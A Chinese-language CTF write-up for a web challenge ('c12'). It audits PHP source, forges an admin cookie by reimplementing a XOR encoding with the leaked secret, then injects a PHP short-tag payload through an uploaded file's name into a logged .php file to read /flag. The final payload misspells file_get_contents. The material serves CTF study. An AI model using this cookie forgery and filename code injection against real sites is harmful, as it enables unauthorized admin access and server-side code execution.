这场比赛菜鸡虽然很菜,但是还是要记一下做题过程加赛后复现
c12
这题第十二题是一题web题,源码也不是很多,我们可以先审计一下user.php
内容如下1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
include "config.php";
include "function.php";
$username="";
if (!is_login() && !isset($_POST["username"]) && !isset($_POST["password"]))
{
header('Location: index.php');
die;
}
if ($username==="")
{
$stmt=$con->prepare("select * from users where username=?");
$stmt->bind_param("s",$_POST["username"]);
$stmt->execute();
$result=$stmt->get_result();
$row=$result->fetch_assoc();
if ($row["password"]===$_POST["password"])
{
$username=$_POST["username"];
setcookie("username",encode($username,$secret));
}
else
{
header('Location: index.php');
die;
}
}
$admin_html=<<<EOF
Hello, admin!
<form action="upload.php" method="post"enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="submit" value="Submit" />
</form>
EOF;
if ($username!=="admin")
{
echo "Hello, {$username}, if you are admin, I will give you a surprise.";
}
else
{
echo $admin_html;
}
很明显可以看到,只要过了!is_login() && !isset($_POST["username"]) && !isset($_POST["password"])
这个条件,只要username
是admin
就能直接以管理员的身份登录进去
接下来就是跟过去看一下is_login
判断的是什么了1
2
3
4
5
6
7
8function is_login()
{
global $username,$secret;
if (!isset($_COOKIE["username"]))
return false;
$username=decode($_COOKIE["username"],$secret);
return true;
}
登录验证也很简单,没有cookie
就直接返回没登录,有的话decode
出来的username
就是用户了
而且encode
和decode
也都给了1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
function decode($str,$key)
{
$str=base64_decode($str);
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return $tmp;
}
最最最值得说的是,连secret
都给了$secret="!*(fp60zoy";
接下来直接按着他的方式加密过去改下cookie
就能直接登录进去了1
2
3
4
5
6
7
8
9
10
11
12function encode($str,$key)
{
$tmp="";
for ($i=0;$i<strlen($str);$i++)
{
$tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)]));
}
return base64_encode($tmp);
}
$secret="!*(fp60zoy";
$username = "admin";
echo encode($username, $secret);
登录进去以后就能看到一个文件上传的框了,再跟过去看一下upload
的源码,这个只放关键部分1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
is_login();
if ($username!=="admin")
{
//一个waf
}
if (!$_FILES["file"]["name"])
{
//又一个waf
}
$file_name=$_FILES["file"]["name"];
if (preg_match("/php/i",$file_name))
{
//再来一个waf
}
file_put_contents("logs/upload.log.php","User {$username} uploaded file {$file_name}.\n",FILE_APPEND);
echo "I logged the file name you uploaded. LOL<script>setTimeout('location.href=\"user.php\"',3000);</script>";
可以看到,即使我们过了各种waf,也只是将文件名写进去upload.log.php
文件里面而已,但是我们可以控制文件名鸭,所以接下来就是控制文件名写个shell
了,因为php
不能用,所以我们可以直接<? xxx
去让php执行,所以最后就是<?= 123; var_dump(file_get_content('/flag')); ?>
去拿flag了